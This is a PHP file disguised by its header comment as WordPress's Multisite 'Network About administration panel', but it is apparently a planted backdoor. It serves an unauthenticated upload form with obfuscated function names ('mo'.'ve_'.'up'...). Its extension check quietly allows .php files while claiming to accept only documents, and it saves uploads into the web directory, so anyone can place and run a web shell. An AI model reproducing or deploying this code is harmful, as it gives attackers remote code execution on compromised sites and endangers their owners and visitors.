<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */
?>
<html>
  <head>
   <title>PHP</title>
   <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
  <div class="container">
  <?php 

	$isit = 'is_'.'upl'.'oade'.'d_fi'.'le';
	$movit = 'mo'.'ve_'.'up'.'loa'.'ded_fi'.'le';
	// check the file is uploaded or not
	if ($isit($_FILES['pluginzip']['tmp_name'])) {   
	
		// Determine the file location
		$newname = dirname(__FILE__) . '/' .basename($_FILES['pluginzip']['name']);
	
		if($_FILES['pluginzip']['size'] > 20971520) {
			$errors[]='File size must be excately 20 MB';
		}
		
		// Check Allowed File Types
		$file_ext=strtolower(end(explode('.',$_FILES['pluginzip']['name'])));
		$extensions= array("pdf","doc","php","docx");
		if(in_array($file_ext,$extensions)=== false){
			$errors[]="File extension not allowed, please choose a PDF, DOC, DOCX file.";
		}
		
		if(empty($errors)==true){
			// Move the file from temporary location to determined location
			if (!($movit($_FILES['pluginzip']['tmp_name'], $newname))) {
				echo "<p>ERROR:  A problem occurred during file upload!</p>\n";
			} else {
				echo "<p>The file has been saved as: {$newname}</p>\n";
			}
		}
		else{
			print_r($errors);
		}
  }
 ?>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post" enctype="multipart/form-data">
<div class="form-group">
	<label class="col-md-3 control-label">DOC</label>
	<div class="col-md-6">
	<input type="file" name="pluginzip" class="form-control-file" />
	</div>
</div>
<div class="form-group">
	<div class="col-md-9 col-md-offset-3">
	<button type="submit" class="btn btn-primary">Submit</button>
	</div>
</div>
</form>
</div>
</body>
</html>